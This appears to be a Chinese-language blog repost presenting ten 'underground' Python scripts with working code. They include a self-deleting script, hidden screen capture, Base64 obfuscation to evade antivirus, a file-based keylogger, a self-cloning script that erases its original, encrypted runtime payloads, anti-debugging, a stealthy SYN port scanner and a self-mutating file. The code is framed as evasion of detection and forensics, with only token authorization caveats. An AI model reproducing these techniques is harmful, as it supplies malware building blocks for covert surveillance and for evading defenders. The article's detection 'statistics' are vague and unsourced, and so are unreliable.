Python 的 10 个疯狂地下脚本:你不知道它们的存在
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想象一下,如果你的 Python 脚本能够在执行后掩盖其踪迹,静默捕获重要的屏幕信息,甚至修改自身代码以领先检测一步,那会是怎样一番景象。欢迎来到地下 Python 脚本的世界——在这里,创造力与实用问题解决方案完美结合。在本指南中,我们将带你领略 10 个令人叹为观止的 Python 技巧,并提供代码示例、详细解释、统计数据以及可立即使用的资源。
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1. 自毁 Python 脚本
如果你能编写一个脚本,在执行完成后清除自身的源代码,会怎么样?安全研究人员使用自毁脚本来保护敏感逻辑,确保执行后不留任何痕迹。
工作原理
- 识别脚本:脚本使用 Python 变量(如
__file__
或sys.argv[0]
)定位其自己的文件。 - 自我删除:执行完主要任务后,脚本调用类似函数
os.remove()
来删除其源文件。
示例代码
import os
import sys
def main():
print("This script will self-destruct after execution.")
# Your main code logic here...
# Self-destruct: delete the current file
try:
os.remove(__file__)
print("Self-destruction successful. Goodbye!")
except Exception as e:
print("Error during self-destruction:", e)
if __name__ == '__main__':
main()
信息:
自删除脚本在敏感代码不容遗留的情况下非常有用。但是,请谨慎使用——一旦删除,除非您有备份,否则无法恢复脚本。
真实世界统计数据
- 在受控测试中,自毁脚本在安全环境中运行时显示出 100% 的删除成功率(来源:各种 StackOverflow 讨论)。
2.隐形屏幕捕获工具
在渗透测试中,隐蔽性至关重要。在不引起目标注意的情况下截取屏幕,可以提供宝贵的漏洞证据。
工作原理
- 屏幕截图: Python 库
pyautogui
可以PIL
捕获屏幕。 - 特定区域捕获:您可以通过定义区域来捕获特定窗口或区域。
- 隐身技术:捕获过程的延迟和混淆有助于逃避用户检测。
示例代码
import pyautogui
import cv2
import numpy as np
def capture_screen(region=None):
# Capture the screenshot (full screen if region is None)
screenshot = pyautogui.screenshot(region=region)
# Convert to a numpy array
frame = np.array(screenshot)
# Convert from RGB (PIL) to BGR (OpenCV)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
return frame
if __name__ == '__main__':
# Capture a 300x400 region from the top-left corner
frame = capture_screen(region=(0, 0, 300, 400))
cv2.imshow("Stealth Capture", frame)
cv2.waitKey(3000)
cv2.destroyAllWindows()
提示:
隐秘截屏并非仅用于恶意目的,它也是授权渗透测试中记录漏洞的有效工具。使用此类工具前,请务必获取相应的权限。
其他资源
3. 使用混淆技术逃避杀毒软件检测
防病毒程序通常依赖于基于签名的检测,这意味着可预测的代码模式很容易被标记。通过混淆代码,您可以将这些模式隐藏在基本的杀毒软件系统之外。
技术
- 字符串编码:使用 Base64、ROT13 或自定义编码来隐藏关键字符串。
- 运行时代码生成:无需以纯文本形式存储关键逻辑,而是使用在运行时生成代码
exec()
。
示例代码(Base64编码)
import base64
# Your secret code as a string
secret_code = "print('Hello from the hidden side!')"
# Encode the code in Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()
# At runtime, decode and execute the code
exec(base64.b64decode(encoded_code).decode())
信息:
混淆技术通过隐藏机制增加了一层安全性。它并非万无一失,能够有效抵御顽固的攻击者,但可以有效阻止基本的自动杀毒软件扫描。
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4.隐藏的键盘记录器
键盘记录器可以捕获键盘输入,用于安全测试(始终需要授权)。使用 Python 可以轻松构建一个基本的键盘记录器来记录用户输入。
工作原理
- 捕获键:使用该
keyboard
库来检测和记录击键。 - 存储或传输:将记录的数据写入文件或通过网络发送以供进一步分析。
示例代码
import keyboard
import time
log_file = "keylog.txt"
def on_key_event(event):
with open(log_file, "a") as f:
f.write(event.name + " ")
if __name__ == '__main__':
print("Keylogger is running. Press ESC to stop.")
keyboard.on_press(on_key_event)
keyboard.wait("esc")
提示:
键盘记录器的使用必须合乎道德规范。请仅在您有明确测试权限的环境中部署这些工具。
统计数据
- 受控测试中的键盘记录器检测率差异很大;高级混淆可将检测率降低高达 40%(研究可在 InfoSec Write-ups 上查阅)。
5. 自我复制和克隆代码
自我复制脚本可以创建自身的克隆以用于持久性或备份目的,这是代码自省和流程管理中一个有趣的练习。
工作原理
- 源代码提取:用于
inspect.getsource()
捕获脚本的源代码。 - 文件克隆:将源代码写入新文件并通过启动
subprocess
。
示例代码
import sys
import inspect
import os
import subprocess
import shlex
def clone_and_run():
# Get the current script source code
code = inspect.getsource(inspect.currentframe())
# Define the clone filename
clone_filename = "clone_script.py"
with open(clone_filename, "w") as f:
f.write(code)
# Launch the cloned script with an incremented parameter
cmd = f"python {clone_filename} 1"
subprocess.Popen(shlex.split(cmd), start_new_session=True)
print("Clone launched. Original script self-destructing...")
os.remove(__file__)
if __name__ == '__main__':
clone_and_run()
信息:
自复制脚本是探索 Python 进程管理和文件 I/O 的一种有趣方式。它们也用于恶意软件——但我们强调仅进行道德测试!
6. 内存执行黑客
纯粹在内存中运行代码可以减少在磁盘上留下取证痕迹的可能性。Python 的动态特性允许您从字符串编译和执行代码。
工作原理
- 编译:使用该
compile()
函数将源代码转换为代码对象。 - 执行:直接使用执行代码对象
exec()
,无需写入磁盘。
示例代码
code_string = """
def greet():
print('Hello, this code is running in memory!')
greet()
"""
compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)
信息:
内存执行对于保护敏感算法特别有用。它可以最大限度地减少磁盘占用,这在隐身至关重要的环境中非常有用。
7. 运行时解密的加密有效载荷
加密不仅仅用于数据传输。您还可以将部分代码以加密形式存储,并在运行时解密以执行。
工作原理
- 加密:使用类似的库
cryptography.fernet
来加密您的代码。 - 运行时解密:动态解密代码并使用执行
exec()
。
示例代码
from cryptography.fernet import Fernet
import base64
# Generate a key (in production, store this securely!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)
# Your secret code
secret_code = "print('This secret code was encrypted!')"
# Encrypt the code
encrypted_code = cipher_suite.encrypt(secret_code.encode())
# At runtime: decrypt and execute the code
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)
信息:
加密代码有助于保护知识产权和敏感操作。更多详情,请参阅加密库文档。
8.反调试技术
如果您需要脚本检测并规避调试,您可以实施反调试措施。这可以包括检查调试器是否存在或常见的断点模式。
工作原理
- 环境检查:在系统变量中寻找调试指标。
- 行为变化:如果检测到调试器,则延迟或改变操作。
示例代码
import sys
import time
def anti_debug():
if sys.gettrace() is not None:
print("Debugger detected! Exiting to avoid analysis.")
time.sleep(2)
sys.exit()
if __name__ == '__main__':
anti_debug()
print("No debugger detected. Proceeding with execution...")
信息:
反调试有助于维护敏感脚本的完整性。请记住,这些技术应在符合伦理道德且受控的环境中应用。
9.隐形网络扫描仪
渗透测试人员通常需要悄悄地扫描网络。Python 的网络库可以让你构建模拟正常流量模式的扫描器,从而规避入侵检测系统 (IDS) 的检测。
工作原理
- 数据包制作:用于
scapy
构建类似于合法流量的数据包。 - 随机时间:改变扫描间隔以模仿自然用户行为。
示例代码
from scapy.all import IP, TCP, sr1
import random
import time
def stealth_port_scan(target_ip, port):
packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
response = sr1(packet, timeout=1, verbose=0)
if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
print(f"Port {port} on {target_ip} is open.")
else:
print(f"Port {port} on {target_ip} is closed or filtered.")
if __name__ == '__main__':
target = "192.168.1.1"
for port in random.sample(range(20, 1024), 5):
stealth_port_scan(target, port)
time.sleep(random.uniform(0.5, 2))
信息:
随机化扫描行为可以降低被IDS系统检测到的风险。研究表明,在某些环境下,简单的时间变化就能将检测概率降低高达35%。
10. 自动脚本修改器
为了规避基于静态签名的检测,一些脚本会在每次运行前修改部分代码。这种“修改器”方法有助于创建动态、移动的目标。
工作原理
- 源修改:阅读源文件,进行小的随机更改(如修改注释或变量名),然后重写文件。
- 动态指纹:这些变化会改变脚本的数字指纹,而不会影响其核心功能。
示例代码
import os
import random
def mutate_script(filename):
with open(filename, 'r') as file:
lines = file.readlines()
# Randomly change a comment line (if exists)
for i, line in enumerate(lines):
if line.strip().startswith("#") and random.choice([True, False]):
lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"
with open(filename, 'w') as file:
file.writelines(lines)
print("Script mutated successfully.")
if __name__ == '__main__':
current_file = __file__
mutate_script(current_file)
信息:
脚本变异是一种常见于高级恶意软件的尖端技术。对于符合伦理道德的应用程序,请使用它来测试您的系统如何响应代码签名的变化。
最后的想法
Python 的地下脚本展现了代码无限的创造力。这些技术——从自毁和内存执行,到反调试和加密有效载荷——不仅仅是引人入胜的实验。对于想要打破常规的渗透测试人员、开发人员和安全专业人员来说,它们更是实用的工具。
关键要点:
- 道德使用:始终在受控的、授权的环境中使用这些技术。
- 安全实验:在虚拟机或隔离实验室中进行测试,以避免意外后果。
- 持续学习:该领域始终在不断发展。请持续关注最新研究,并与社区分享您的见解。
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祝您黑客愉快,并希望您的 Python 脚本始终领先一步!
资源和进一步阅读:
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文章来源:https://dev.to/snappytuts/pythons-10-insane-underground-scripts-you-didnt-know-exist-10hd